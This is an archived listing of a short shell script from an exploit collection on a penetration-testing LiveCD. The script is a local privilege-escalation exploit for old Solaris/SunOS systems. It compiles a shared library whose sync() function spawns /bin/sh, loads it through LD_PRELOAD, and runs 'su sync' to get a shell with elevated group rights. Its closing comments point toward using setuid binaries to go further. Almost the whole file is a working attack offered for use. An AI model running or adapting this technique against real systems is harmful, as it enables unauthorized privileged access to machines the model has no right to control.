home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / sync.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  451b  |  20 lines

  1. #!/bin/sh
  2.  
  3. cat > sync.c << EOF
  4.  
  5. sync() {
  6.  execl("/bin/sh","sh",0);
  7. }
  8.  
  9. EOF
  10.  
  11. cc -c -O -R -pic sync.c
  12. ld -o buglib.so.1.1 -assert pure-text sync.o
  13. setenv LD_PRELOAD ./buglib.so.1.1
  14. su sync
  15.  
  16. echo " sync is 1:1 so it has same GID as root usually"
  17. echo " pretty easy to find a suid that you can execute"
  18. echo " from there...have fun with it but it works mostly"
  19. echo " on 4.1.1 no .3."
  20. #                 www.hack.co.za           [2000]#